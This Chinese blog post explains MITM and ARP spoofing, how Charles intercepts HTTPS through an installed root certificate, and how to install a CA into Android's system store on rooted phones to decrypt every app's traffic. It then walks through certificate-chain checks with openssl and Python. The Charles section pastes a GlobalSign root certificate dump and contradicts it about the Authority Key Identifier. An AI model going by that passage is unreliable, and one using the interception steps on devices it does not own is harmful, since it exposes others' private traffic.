整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

关于SSL PINNING的一切

关于SSL PINNING的一切

HTTPS当下已经非常普遍,HTTPS全称是Hypertext Transfer Protocol Secure,在HTTP基础上增加了TLS加密,虽然名字里有个Secure,但HTTPS并不是绝对安全的,依然存在被中间人攻击(
Man-in-the-middle attack)的风险,进而导致应用被抓包,HTTPS的加密流量被获取。

MITM中间人攻击

概念

这里举个简单的例子,帮助不了解MITM的读者理解:假如A和B需要通信,这个时候来了一个C,C告诉A自己是B,同时告诉B自己是A,A和B都以为自己在和对方通信,实际上看到的消息都是由C转发的,C就可以在这个过程中完成监听和篡改,这就是中间人攻击。

ARP欺骗

在真实的网络中,要完成上述的过程,需要借助ARP欺骗。ARP是局域网中用IP来查找MAC地址的协议,正常的ARP查找过程中,请求的主机会向局域网发送广播,查询对应IP的MAC地址,局域网的其他主机如果不是这个IP就会忽略请求,对应IP的主机会回应自己的MAC地址。但是ARP协议在机制上就没有考虑校验的情况,只要收到一个ARP回应,主机就会更新自己的ARP表。ARP协议的简单粗暴,让ARP欺骗变得非常简单。攻击者只需要往一个局域网不断发送ARP回应,就能更新各个主机的ARP表,从而达到上面一节说的目的,这个过程也被叫做ARP投毒。当然,更大范围的中间人攻击需要借助DNS投毒,这个就不细说,原理大致类似。

针对HTTPS的MITM

HTTPS在设计上是考虑到了中间人攻击的情况的,TLS是支持双向认证的(一般只需要客户端校验服务端身份),那么为什么还会存在中间人攻击的风险呢?TLS的认证机制是基于证书的,关于证书的细节我们会在后面的篇幅里细讲,这里不展开。我们如果没有信任一些奇奇怪怪的证书,TLS是可以保证通信安全的,否则就会导致TLS的认证机制失效,从而被中间人攻击。

抓包

抓包就是一个MITM的应用场景,这里以常用的Charles为例,看看HTTPS的加密是如何被绕过的。我们知道,如果要解密HTTPS流量,Charles会引导我们给手机安装一个根证书,用文本编辑器打开可以看出是标准的pem格式:

-----BEGIN CERTIFICATE-----
MIIFQDCCBCigAwIBAgIGAXSrxEHXMA0GCSqGSIb3DQEBCwUAMIGkMTUwMwYDVQQD
DCxDaGFybGVzIFByb3h5IENBICgyMCBTZXAgMjAyMCwgQzAyRDM3RUhNRDZSKTEl
MCMGA1UECwwcaHR0cHM6Ly9jaGFybGVzcHJveHkuY29tL3NzbDERMA8GA1UECgwI
WEs3MiBMdGQxETAPBgNVBAcMCEF1Y2tsYW5kMREwDwYDVQQIDAhBdWNrbGFuZDEL
MAkGA1UEBhMCTlowHhcNMDAwMTAxMDAwMDAwWhcNNDkxMTE3MTM0NjM5WjCBpDE1
MDMGA1UEAwwsQ2hhcmxlcyBQcm94eSBDQSAoMjAgU2VwIDIwMjAsIEMwMkQzN0VI
TUQ2UikxJTAjBgNVBAsMHGh0dHBzOi8vY2hhcmxlc3Byb3h5LmNvbS9zc2wxETAP
BgNVBAoMCFhLNzIgTHRkMREwDwYDVQQHDAhBdWNrbGFuZDERMA8GA1UECAwIQXVj
a2xhbmQxCzAJBgNVBAYTAk5aMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAoMCTz31wG8zGwexoelqWd+q9WzQHtkFCReKjw0qRZ/8gjmUuj6pdmEg6FQFr
f9gnIiyPeME+J1gOfIp3z9i860VjviQGUwuPCBuU8G0eXBYZOE2kJvKx1G5QeI/c
hnGi3a3Sk5bGBUV1mMbS35OUkFVgvBygVyEjOF1SKDM/IT9jh5QV8uzhObDk+0F6
mjZ+uug2CDdQLNd4VqMClXrDaFk2gVpcnDatNI0p6doBlsxMedIFw0wPJaXfdl1M
CkPOwqgDpgh4J/3roGwJ5ky9zbE7l552jm/UjTRt5X7608IO5G0Kd5OutvxyqmZU
mYLDS0wcS+vZrPA6WwPUgT+TeQIDAQABo4IBdDCCAXAwDwYDVR0TAQH/BAUwAwEB
/zCCASwGCWCGSAGG+EIBDQSCAR0TggEZVGhpcyBSb290IGNlcnRpZmljYXRlIHdh
cyBnZW5lcmF0ZWQgYnkgQ2hhcmxlcyBQcm94eSBmb3IgU1NMIFByb3h5aW5nLiBJ
ZiB0aGlzIGNlcnRpZmljYXRlIGlzIHBhcnQgb2YgYSBjZXJ0aWZpY2F0ZSBjaGFp
biwgdGhpcyBtZWFucyB0aGF0IHlvdSdyZSBicm93c2luZyB0aHJvdWdoIENoYXJs
ZXMgUHJveHkgd2l0aCBTU0wgUHJveHlpbmcgZW5hYmxlZCBmb3IgdGhpcyB3ZWJz
aXRlLiBQbGVhc2Ugc2VlIGh0dHA6Ly9jaGFybGVzcHJveHkuY29tL3NzbCBmb3Ig
bW9yZSBpbmZvcm1hdGlvbi4wDgYDVR0PAQH/BAQDAgIEMB0GA1UdDgQWBBTtSzIK
BzFSToLLgoAPM4tSPWqDEDANBgkqhkiG9w0BAQsFAAOCAQEAnB+8XuuZAtE3WE03
xIu3rHw+sYdrSvV0es/xt1L2/gnnll/W7PvK4prG62sagblbbnLECLy8AKfN/gh9
aY9i6EXxee+vVy8GC8Cmo4TIv0asmPqUXBv+ggZCRNvnT1mtCvpkjgeEwGTXjqk6
Caq1X61WDzTg/EBPpqhSX10BTFRXLufVMfC/Qy5EdpgwCOm8SZnEwqgAW62GM81L
ngl+WIM+NLX5sdtSmkuhfikNR5rRvFPIjBU1t9qP77l/24Ov5BsGjcMfk3Pjzdqy
8V17WhQGRhb/k6nzlxrxWmQ4rdNVtKLWHD9ubozsX23z6B8l1GMDzYr3VbxdMpGP
V5eiGA==-----END CERTIFICATE-----

用openssl解析证书:

openssl x509 -text -in ~/Downloads/charles-ssl-proxying-certificate.pem

得到如下输出:

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            04:00:00:00:00:01:0f:86:26:e6:0d
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: OU=GlobalSign Root CA - R2, O=GlobalSign, CN=GlobalSign
        Validity
            Not Before: Dec 15 08:00:00 2006 GMT
            Not After : Dec 15 08:00:00 2021 GMT
        Subject: OU=GlobalSign Root CA - R2, O=GlobalSign, CN=GlobalSign
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:a6:cf:24:0e:be:2e:6f:28:99:45:42:c4:ab:3e:
                    21:54:9b:0b:d3:7f:84:70:fa:12:b3:cb:bf:87:5f:
                    c6:7f:86:d3:b2:30:5c:d6:fd:ad:f1:7b:dc:e5:f8:
                    60:96:09:92:10:f5:d0:53:de:fb:7b:7e:73:88:ac:
                    52:88:7b:4a:a6:ca:49:a6:5e:a8:a7:8c:5a:11:bc:
                    7a:82:eb:be:8c:e9:b3:ac:96:25:07:97:4a:99:2a:
                    07:2f:b4:1e:77:bf:8a:0f:b5:02:7c:1b:96:b8:c5:
                    b9:3a:2c:bc:d6:12:b9:eb:59:7d:e2:d0:06:86:5f:
                    5e:49:6a:b5:39:5e:88:34:ec:bc:78:0c:08:98:84:
                    6c:a8:cd:4b:b4:a0:7d:0c:79:4d:f0:b8:2d:cb:21:
                    ca:d5:6c:5b:7d:e1:a0:29:84:a1:f9:d3:94:49:cb:
                    24:62:91:20:bc:dd:0b:d5:d9:cc:f9:ea:27:0a:2b:
                    73:91:c6:9d:1b:ac:c8:cb:e8:e0:a0:f4:2f:90:8b:
                    4d:fb:b0:36:1b:f6:19:7a:85:e0:6d:f2:61:13:88:
                    5c:9f:e0:93:0a:51:97:8a:5a:ce:af:ab:d5:f7:aa:
                    09:aa:60:bd:dc:d9:5f:df:72:a9:60:13:5e:00:01:
                    c9:4a:fa:3f:a4:ea:07:03:21:02:8e:82:ca:03:c2:
                    9b:8f
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Key Usage: critical
                Certificate Sign, CRL Sign
            X509v3 Basic Constraints: critical
                CA:TRUE
            X509v3 Subject Key Identifier:
                9B:E2:07:57:67:1C:1E:C0:6A:06:DE:59:B4:9A:2D:DF:DC:19:86:2E
            X509v3 CRL Distribution Points:

                Full Name:
                  URI:http://crl.globalsign.net/root-r2.crl

            X509v3 Authority Key Identifier:
                keyid:9B:E2:07:57:67:1C:1E:C0:6A:06:DE:59:B4:9A:2D:DF:DC:19:86:2E

    Signature Algorithm: sha1WithRSAEncryption
         99:81:53:87:1c:68:97:86:91:ec:e0:4a:b8:44:0b:ab:81:ac:
         27:4f:d6:c1:b8:1c:43:78:b3:0c:9a:fc:ea:2c:3c:6e:61:1b:
         4d:4b:29:f5:9f:05:1d:26:c1:b8:e9:83:00:62:45:b6:a9:08:
         93:b9:a9:33:4b:18:9a:c2:f8:87:88:4e:db:dd:71:34:1a:c1:
         54:da:46:3f:e0:d3:2a:ab:6d:54:22:f5:3a:62:cd:20:6f:ba:
         29:89:d7:dd:91:ee:d3:5c:a2:3e:a1:5b:41:f5:df:e5:64:43:
         2d:e9:d5:39:ab:d2:a2:df:b7:8b:d0:c0:80:19:1c:45:c0:2d:
         8c:e8:f8:2d:a4:74:56:49:c5:05:b5:4f:15:de:6e:44:78:39:
         87:a8:7e:bb:f3:79:18:91:bb:f4:6f:9d:c1:f0:8c:35:8c:5d:
         01:fb:c3:6d:b9:ef:44:6d:79:46:31:7e:0a:fe:a9:82:c1:ff:
         ef:ab:6e:20:c4:50:c9:5f:9d:4d:9b:17:8c:0c:e5:01:c9:a0:
         41:6a:73:53:fa:a5:50:b4:6e:25:0f:fb:4c:18:f4:fd:52:d9:
         8e:69:b1:e8:11:0f:de:88:d8:fb:1d:49:f7:aa:de:95:cf:20:
         78:c2:60:12:db:25:40:8c:6a:fc:7e:42:38:40:64:12:f7:9e:
         81:e1:93:2e

输出中是没有X509v3 Authority Key Identifier的字段的,根据RFC3280的定义,只有根证书允许省略这个字段:

The keyIdentifier field of the authorityKeyIdentifier extension MUST
be included in all certificates generated by conforming CAs to
facilitate certification path construction.  There is one exception;
where a CA distributes its public key in the form of a "self-signed"
certificate, the authority key identifier MAY be omitted. 

所以这是一个自签名的根证书。当系统信任了根证书,那么根证书链下的所有子证书都会被认为合法,证书链的概念下面细说。Charles的抓包功能是通过中间人攻击来完成的,根证书被信任,那么Charles只要用一个子证书来欺骗被抓包的客户端,就能绕过TLS对中间人攻击的防护。
在Android 6.0之前,用户信任的CA证书会被认为是合法的,安装一个根证书就能解密所有App的HTTPS流量,6.0之后加了个限制,只有系统内置的CA证书被信任,开发中的应用需要手动信任用户添加的CA证书才行,这样就只有手动信任了证书的应用流量能被解密:

<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <domain-config>
        <domain includeSubdomains="true">example.com</domain>
        <trust-anchors>
            <certificates src="@raw/my_ca"/>
        </trust-anchors>
    </domain-config>
</network-security-config>

那么有没有在高版本Android上全局抓包的方法呢?还真有,对于ROOT过的手机,我们可以导出.0格式的证书,放到系统的/etc/security/cacerts/目录下,这样就会被认为是系统内置CA证书,从而达到抓取所有应用HTTPS流量的目的。

TLS与证书

在讲本文的主题SSL Pinning之前,需要介绍一些背景知识,下面几节解释了TLS握手过程,以及证书的校验过程。

TLS握手

这里又要拿出Cloudflare的经典图了:




这里描述的是TLS1.3之前的情况,细节不再赘述,可以看我之前的文章:TLS握手过程,我们只需要注意其中一个重点:服务端会把自己的证书发送给客户端,而证书中包含了公钥信息。

证书校验

那么客户端得到证书是如何校验这个证书是合法的呢?这里就要引入证书链的概念,以Google为例:



可以看到,这里一共是有三级证书的,自底向上分别被称为最终实体证书,中间证书和根证书。把三个证书拖出来,分别存成文件:


证书都是cer后缀,我们尝试用DER解码,先看看最终实体证书:

openssl x509 -text -inform der -in ~/Downloads/\*.google.com.cer

输出如下信息:

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            31:79:87:25:0f:c0:be:e8:08:00:00:00:00:56:05:ed
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=US, O=Google Trust Services, CN=GTS CA 1O1
        Validity
            Not Before: Aug 26 08:08:49 2020 GMT
            Not After : Nov 18 08:08:49 2020 GMT
        Subject: C=US, ST=California, L=Mountain View, O=Google LLC, CN=*.google.com
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (256 bit)
                pub:
                    04:8e:14:e9:f8:bb:ae:1f:c4:64:53:b7:d6:7a:76:
                    50:8b:ab:05:c6:2e:71:32:e0:3e:db:ef:1e:5a:34:
                    43:a4:74:6a:2b:52:38:75:03:f0:2d:fa:e6:da:82:
                    10:92:53:9b:a0:0e:28:ea:61:68:2b:0c:6d:df:22:
                    da:5f:14:1b:90
                ASN1 OID: prime256v1
                NIST CURVE: P-256
        X509v3 extensions:
            X509v3 Key Usage: critical
                Digital Signature
            X509v3 Extended Key Usage:
                TLS Web Server Authentication
            X509v3 Basic Constraints: critical
                CA:FALSE
            X509v3 Subject Key Identifier:
                96:65:7B:C2:08:15:03:E1:C3:F8:50:DD:8F:B6:73:65:43:DF:8C:80
            X509v3 Authority Key Identifier:
                keyid:98:D1:F8:6E:10:EB:CF:9B:EC:60:9F:18:90:1B:A0:EB:7D:09:FD:2B

            Authority Information Access:
                OCSP - URI:http://ocsp.pki.goog/gts1o1core
                CA Issuers - URI:http://pki.goog/gsr2/GTS1O1.crt

            X509v3 Subject Alternative Name:
                DNS:*.google.com, DNS:*.android.com, DNS:*.appengine.google.com, DNS:*.bdn.dev, DNS:*.cloud.google.com, DNS:*.crowdsource.google.com, DNS:*.datacompute.google.com, DNS:*.g.co, DNS:*.gcp.gvt2.com, DNS:*.gcpcdn.gvt1.com, DNS:*.ggpht.cn, DNS:*.gkecnapps.cn, DNS:*.google-analytics.com, DNS:*.google.ca, DNS:*.google.cl, DNS:*.google.co.in, DNS:*.google.co.jp, DNS:*.google.co.uk, DNS:*.google.com.ar, DNS:*.google.com.au, DNS:*.google.com.br, DNS:*.google.com.co, DNS:*.google.com.mx, DNS:*.google.com.tr, DNS:*.google.com.vn, DNS:*.google.de, DNS:*.google.es, DNS:*.google.fr, DNS:*.google.hu, DNS:*.google.it, DNS:*.google.nl, DNS:*.google.pl, DNS:*.google.pt, DNS:*.googleadapis.com, DNS:*.googleapis.cn, DNS:*.googlecnapps.cn, DNS:*.googlecommerce.com, DNS:*.googlevideo.com, DNS:*.gstatic.cn, DNS:*.gstatic.com, DNS:*.gstaticcnapps.cn, DNS:*.gvt1.com, DNS:*.gvt2.com, DNS:*.metric.gstatic.com, DNS:*.urchin.com, DNS:*.url.google.com, DNS:*.wear.gkecnapps.cn, DNS:*.youtube-nocookie.com, DNS:*.youtube.com, DNS:*.youtubeeducation.com, DNS:*.youtubekids.com, DNS:*.yt.be, DNS:*.ytimg.com, DNS:android.clients.google.com, DNS:android.com, DNS:developer.android.google.cn, DNS:developers.android.google.cn, DNS:g.co, DNS:ggpht.cn, DNS:gkecnapps.cn, DNS:goo.gl, DNS:google-analytics.com, DNS:google.com, DNS:googlecnapps.cn, DNS:googlecommerce.com, DNS:source.android.google.cn, DNS:urchin.com, DNS:www.goo.gl, DNS:youtu.be, DNS:youtube.com, DNS:youtubeeducation.com, DNS:youtubekids.com, DNS:yt.be
            X509v3 Certificate Policies:
                Policy: 2.23.140.1.2.2
                Policy: 1.3.6.1.4.1.11129.2.5.3

            X509v3 CRL Distribution Points:

                Full Name:
                  URI:http://crl.pki.goog/GTS1O1core.crl

            1.3.6.1.4.1.11129.2.4.2:
.v.....7~.b....a...{7.V..&[...K.ATn...t*........G0E. .i...V.i.U....g..}"..d.6.../R.V+.!..X..#.....S.}..7../.l.V=G....d....GF0M..j-u....~f.HZ
    Signature Algorithm: sha256WithRSAEncryption
         2f:de:47:43:cd:2d:0a:ed:6f:6d:3c:4b:39:0e:e6:05:17:74:
         58:a7:33:f0:a1:10:0a:52:94:55:80:52:8a:5c:a0:88:73:35:
         55:cd:d9:51:72:de:c2:96:5c:52:83:f2:ca:05:a1:72:60:06:
         8e:da:4d:80:05:6a:60:fe:60:ab:cc:dc:02:67:84:41:47:cd:
         eb:af:80:6b:ec:d5:0d:6e:56:5a:bd:00:47:d8:62:2f:4c:01:
         93:76:10:bb:16:15:ca:d4:d9:b2:92:0e:5d:96:56:06:95:c3:
         a6:d6:77:fb:97:b6:2f:66:06:7c:0c:21:91:ac:8c:84:16:61:
         40:02:a9:f1:ca:62:e3:e0:72:da:7b:ab:3f:64:27:bb:d0:ff:
         de:a0:c4:6d:a3:72:1d:bc:0e:1d:a7:6a:07:15:69:70:aa:63:
         d2:68:ed:50:d2:44:c4:21:ca:b4:ec:73:0b:0c:b2:86:17:fa:
         cd:4a:ca:57:2c:56:9d:17:10:0e:68:ce:6d:e1:00:d4:65:f1:
         11:63:9f:e4:07:d9:fb:eb:36:7e:77:bc:94:a3:c5:04:8c:ca:
         fa:ec:7a:a3:33:fb:b1:65:82:d0:2b:e7:02:29:f9:c4:91:da:
         3e:62:3e:8a:da:29:c2:91:bb:60:cf:d6:d2:f4:5b:a5:19:37:
         b1:ae:b8:7e

信息量非常大,我们关注几个关键字段:
Signature Algorithm: sha256WithRSAEncryption表示证书的签名是先使用SHA256做摘要,再对摘要做RSA加密生成的。
Public Key Algorithm: id-ecPublicKey,表示公钥的算法是ECDSA,这是一个ECC证书,相比RSA算法,ECDSA的证书更小,运算也更快。
X509v3 Authority Key Identifier,不需要关心内容,有这个字段表示这不是自签名的根证书。
X509v3 Subject Alternative Name,这里包含了证书适用的域名。
最后还有一段Signature Algorithm,这就是证书的签名,配合前面的证书签名算法可以完成证书链的校验。
中间证书的结构大同小异,这里列出用于校验的关键信息:

Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:d0:18:cf:45:d4:8b:cd:d3:9c:e4:40:ef:7e:b4:
                    dd:69:21:1b:c9:cf:3c:8e:4c:75:b9:0f:31:19:84:
                    3d:9e:3c:29:ef:50:0d:10:93:6f:05:80:80:9f:2a:
                    a0:bd:12:4b:02:e1:3d:9f:58:16:24:fe:30:9f:0b:
                    74:77:55:93:1d:4b:f7:4d:e1:92:82:10:f6:51:ac:
                    0c:c3:b2:22:94:0f:34:6b:98:10:49:e7:0b:9d:83:
                    39:dd:20:c6:1c:2d:ef:d1:18:61:65:e7:23:83:20:
                    a8:23:12:ff:d2:24:7f:d4:2f:e7:44:6a:5b:4d:d7:
                    50:66:b0:af:9e:42:63:05:fb:e0:1c:c4:63:61:af:
                    9f:6a:33:ff:62:97:bd:48:d9:d3:7c:14:67:dc:75:
                    dc:2e:69:e8:f8:6d:78:69:d0:b7:10:05:b8:f1:31:
                    c2:3b:24:fd:1a:33:74:f8:23:e0:ec:6b:19:8a:16:
                    c6:e3:cd:a4:cd:0b:db:b3:a4:59:60:38:88:3b:ad:
                    1d:b9:c6:8c:a7:53:1b:fc:bc:d9:a4:ab:bc:dd:3c:
                    61:d7:93:15:98:ee:81:bd:8f:e2:64:47:20:40:06:
                    4e:d7:ac:97:e8:b9:c0:59:12:a1:49:25:23:e4:ed:
                    70:34:2c:a5:b4:63:7c:f9:a3:3d:83:d1:cd:6d:24:
                    ac:07
                Exponent: 65537 (0x10001)

这一段给出了中间证书的公钥,因为是RSA算法,所以这里有一个Modulus和一个Exponent。最终实体证书的签名是用中间证书的私钥对最终实体证书的摘要加密得到,所以对应的解密过程是用中间证书的公钥解密最终实体证书的签名,能得出最终实体证书的摘要,如果能解密成功,就能确认最终实体证书确实是由中间证书签名的,再对最终实体证书做一次摘要,和解密出得摘要比对,如果一致即可确认证书没用被篡改过。
我们手动实现一下这个过程:
已知指数,模和密文,我们需要还原出原文,根据RSA算法,计算原文的算法如下,其中m是明文,c是密文,e是指数,n是模:

m=c ^ e (mod n)

代入上面证书里的值:

>>> n=0x00d018cf45d48bcdd39ce440ef7eb4dd69211bc9cf3c8e4c75b90f3119843d9e3c29ef500d10936f0580809f2aa0bd124b02e13d9f581624fe309f0b747755931d4bf74de1928210f651ac0cc3b222940f346b981049e70b9d8339dd20c61c2defd1186165e7238320a82312ffd2247fd42fe7446a5b4dd75066b0af9e426305fbe01cc46361af9f6a33ff6297bd48d9d37c1467dc75dc2e69e8f86d7869d0b71005b8f131c23b24fd1a3374f823e0ec6b198a16c6e3cda4cd0bdbb3a4596038883bad1db9c68ca7531bfcbcd9a4abbcdd3c61d7931598ee81bd8fe264472040064ed7ac97e8b9c05912a1492523e4ed70342ca5b4637cf9a33d83d1cd6d24ac07
>>> e=65537
>>> c=0x2fde4743cd2d0aed6f6d3c4b390ee605177458a733f0a1100a52945580528a5ca088733555cdd95172dec2965c5283f2ca05a17260068eda4d80056a60fe60abccdc0267844147cdebaf806becd50d6e565abd0047d8622f4c01937610bb1615cad4d9b2920e5d96560695c3a6d677fb97b62f66067c0c2191ac8c8416614002a9f1ca62e3e072da7bab3f6427bbd0ffdea0c46da3721dbc0e1da76a07156970aa63d268ed50d244c421cab4ec730b0cb28617facd4aca572c569d17100e68ce6de100d465f111639fe407d9fbeb367e77bc94a3c5048ccafaec7aa333fbb16582d02be70229f9c491da3e623e8ada29c291bb60cfd6d2f45ba51937b1aeb87e
>>> pow(c, e, n)
986236757547332986472011617696226561292849812918563355472727826767720188564083584387121625107510786855734801053524719833194566624465665316622563244215340671405971599343902468620306327831715457360719532421388780770165778156818229863337344187575566725786793391480600129482653072861971002459947277805295727097226389568776499707662505334062639449916265137796823793276300221537201727072401742985542559596685092673521228140822200236743113743661549252453726123450722876929538747702356573783116197523966334991563351853851212597377279504828784763247643211048750059383511539240076118611220389103205312907651075225923933445
>>> print('0x%x' % pow(c, e, n))
0x1ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff003031300d060960864801650304020105000420cd55ba8e69bcc9a1c2aaba552982abd5519051f5708cb6f9885cd3a7d28cd505

最后这一段密文就是最终实体证书的摘要,我们再用openssl手动算一次摘要,看是否一致。先把证书转换成ANS.1格式,这是一种和protobuffer很相似的描述,都是tag, length, value的形式。

openssl asn1parse -inform der -in ~/Downloads/\*.google.com.cer

输出如下:

    0:d=0  hl=4 l=2416 cons: SEQUENCE
    4:d=1  hl=4 l=2136 cons: SEQUENCE
    8:d=2  hl=2 l=3 cons: cont [ 0 ]
   10:d=3  hl=2 l=1 prim: INTEGER           :02
   13:d=2  hl=2 l=16 prim: INTEGER           :317987250FC0BEE808000000005605ED
   31:d=2  hl=2 l=13 cons: SEQUENCE
   33:d=3  hl=2 l=9 prim: OBJECT            :sha256WithRSAEncryption
   44:d=3  hl=2 l=0 prim: NULL
   46:d=2  hl=2 l=66 cons: SEQUENCE
   48:d=3  hl=2 l=11 cons: SET
   50:d=4  hl=2 l=9 cons: SEQUENCE
   52:d=5  hl=2 l=3 prim: OBJECT            :countryName
   57:d=5  hl=2 l=2 prim: PRINTABLESTRING   :US
   61:d=3  hl=2 l=30 cons: SET
   63:d=4  hl=2 l=28 cons: SEQUENCE
   65:d=5  hl=2 l=3 prim: OBJECT            :organizationName
   70:d=5  hl=2 l=21 prim: PRINTABLESTRING   :Google Trust Services
   93:d=3  hl=2 l=19 cons: SET
   95:d=4  hl=2 l=17 cons: SEQUENCE
   97:d=5  hl=2 l=3 prim: OBJECT            :commonName
  102:d=5  hl=2 l=10 prim: PRINTABLESTRING   :GTS CA 1O1
  114:d=2  hl=2 l=30 cons: SEQUENCE
  116:d=3  hl=2 l=13 prim: UTCTIME           :200826080849Z
  131:d=3  hl=2 l=13 prim: UTCTIME           :201118080849Z
  146:d=2  hl=2 l=102 cons: SEQUENCE
  148:d=3  hl=2 l=11 cons: SET
  150:d=4  hl=2 l=9 cons: SEQUENCE
  152:d=5  hl=2 l=3 prim: OBJECT            :countryName
  157:d=5  hl=2 l=2 prim: PRINTABLESTRING   :US
  161:d=3  hl=2 l=19 cons: SET
  163:d=4  hl=2 l=17 cons: SEQUENCE
  165:d=5  hl=2 l=3 prim: OBJECT            :stateOrProvinceName
  170:d=5  hl=2 l=10 prim: PRINTABLESTRING   :California
  182:d=3  hl=2 l=22 cons: SET
  184:d=4  hl=2 l=20 cons: SEQUENCE
  186:d=5  hl=2 l=3 prim: OBJECT            :localityName
  191:d=5  hl=2 l=13 prim: PRINTABLESTRING   :Mountain View
  206:d=3  hl=2 l=19 cons: SET
  208:d=4  hl=2 l=17 cons: SEQUENCE
  210:d=5  hl=2 l=3 prim: OBJECT            :organizationName
  215:d=5  hl=2 l=10 prim: PRINTABLESTRING   :Google LLC
  227:d=3  hl=2 l=21 cons: SET
  229:d=4  hl=2 l=19 cons: SEQUENCE
  231:d=5  hl=2 l=3 prim: OBJECT            :commonName
  236:d=5  hl=2 l=12 prim: UTF8STRING        :*.google.com
  250:d=2  hl=2 l=89 cons: SEQUENCE
  252:d=3  hl=2 l=19 cons: SEQUENCE
  254:d=4  hl=2 l=7 prim: OBJECT            :id-ecPublicKey
  263:d=4  hl=2 l=8 prim: OBJECT            :prime256v1
  273:d=3  hl=2 l=66 prim: BIT STRING
  341:d=2  hl=4 l=1799 cons: cont [ 3 ]
  345:d=3  hl=4 l=1795 cons: SEQUENCE
  349:d=4  hl=2 l=14 cons: SEQUENCE
  351:d=5  hl=2 l=3 prim: OBJECT            :X509v3 Key Usage
  356:d=5  hl=2 l=1 prim: BOOLEAN           :255
  359:d=5  hl=2 l=4 prim: OCTET STRING      [HEX DUMP]:03020780
  365:d=4  hl=2 l=19 cons: SEQUENCE
  367:d=5  hl=2 l=3 prim: OBJECT            :X509v3 Extended Key Usage
  372:d=5  hl=2 l=12 prim: OCTET STRING      [HEX DUMP]:300A06082B06010505070301
  386:d=4  hl=2 l=12 cons: SEQUENCE
  388:d=5  hl=2 l=3 prim: OBJECT            :X509v3 Basic Constraints
  393:d=5  hl=2 l=1 prim: BOOLEAN           :255
  396:d=5  hl=2 l=2 prim: OCTET STRING      [HEX DUMP]:3000
  400:d=4  hl=2 l=29 cons: SEQUENCE
  402:d=5  hl=2 l=3 prim: OBJECT            :X509v3 Subject Key Identifier
  407:d=5  hl=2 l=22 prim: OCTET STRING      [HEX DUMP]:041496657BC2081503E1C3F850DD8FB6736543DF8C80
  431:d=4  hl=2 l=31 cons: SEQUENCE
  433:d=5  hl=2 l=3 prim: OBJECT            :X509v3 Authority Key Identifier
  438:d=5  hl=2 l=24 prim: OCTET STRING      [HEX DUMP]:3016801498D1F86E10EBCF9BEC609F18901BA0EB7D09FD2B
  464:d=4  hl=2 l=104 cons: SEQUENCE
  466:d=5  hl=2 l=8 prim: OBJECT            :Authority Information Access
  476:d=5  hl=2 l=92 prim: OCTET STRING      [HEX DUMP]:305A302B06082B06010505073001861F687474703A2F2F6F6373702E706B692E676F6F672F677473316F31636F7265302B06082B06010505073002861F687474703A2F2F706B692E676F6F672F677372322F475453314F312E637274
  570:d=4  hl=4 l=1218 cons: SEQUENCE
  574:d=5  hl=2 l=3 prim: OBJECT            :X509v3 Subject Alternative Name
  579:d=5  hl=4 l=1209 prim: OCTET STRING      [HEX DUMP]:308204B5820C2A2E676F6F676C652E636F6D820D2A2E616E64726F69642E636F6D82162A2E617070656E67696E652E676F6F676C652E636F6D82092A2E62646E2E64657682122A2E636C6F75642E676F6F676C652E636F6D82182A2E63726F7764736F757263652E676F6F676C652E636F6D82182A2E64617461636F6D707574652E676F6F676C652E636F6D82062A2E672E636F820E2A2E6763702E677674322E636F6D82112A2E67637063646E2E677674312E636F6D820A2A2E67677068742E636E820E2A2E676B65636E617070732E636E82162A2E676F6F676C652D616E616C79746963732E636F6D820B2A2E676F6F676C652E6361820B2A2E676F6F676C652E636C820E2A2E676F6F676C652E636F2E696E820E2A2E676F6F676C652E636F2E6A70820E2A2E676F6F676C652E636F2E756B820F2A2E676F6F676C652E636F6D2E6172820F2A2E676F6F676C652E636F6D2E6175820F2A2E676F6F676C652E636F6D2E6272820F2A2E676F6F676C652E636F6D2E636F820F2A2E676F6F676C652E636F6D2E6D78820F2A2E676F6F676C652E636F6D2E7472820F2A2E676F6F676C652E636F6D2E766E820B2A2E676F6F676C652E6465820B2A2E676F6F676C652E6573820B2A2E676F6F676C652E6672820B2A2E676F6F676C652E6875820B2A2E676F6F676C652E6974820B2A2E676F6F676C652E6E6C820B2A2E676F6F676C652E706C820B2A2E676F6F676C652E707482122A2E676F6F676C656164617069732E636F6D820F2A2E676F6F676C65617069732E636E82112A2E676F6F676C65636E617070732E636E82142A2E676F6F676C65636F6D6D657263652E636F6D82112A2E676F6F676C65766964656F2E636F6D820C2A2E677374617469632E636E820D2A2E677374617469632E636F6D82122A2E67737461746963636E617070732E636E820A2A2E677674312E636F6D820A2A2E677674322E636F6D82142A2E6D65747269632E677374617469632E636F6D820C2A2E75726368696E2E636F6D82102A2E75726C2E676F6F676C652E636F6D82132A2E776561722E676B65636E617070732E636E82162A2E796F75747562652D6E6F636F6F6B69652E636F6D820D2A2E796F75747562652E636F6D82162A2E796F7574756265656475636174696F6E2E636F6D82112A2E796F75747562656B6964732E636F6D82072A2E79742E6265820B2A2E7974696D672E636F6D821A616E64726F69642E636C69656E74732E676F6F676C652E636F6D820B616E64726F69642E636F6D821B646576656C6F7065722E616E64726F69642E676F6F676C652E636E821C646576656C6F706572732E616E64726F69642E676F6F676C652E636E8204672E636F820867677068742E636E820C676B65636E617070732E636E8206676F6F2E676C8214676F6F676C652D616E616C79746963732E636F6D820A676F6F676C652E636F6D820F676F6F676C65636E617070732E636E8212676F6F676C65636F6D6D657263652E636F6D8218736F757263652E616E64726F69642E676F6F676C652E636E820A75726368696E2E636F6D820A7777772E676F6F2E676C8208796F7574752E6265820B796F75747562652E636F6D8214796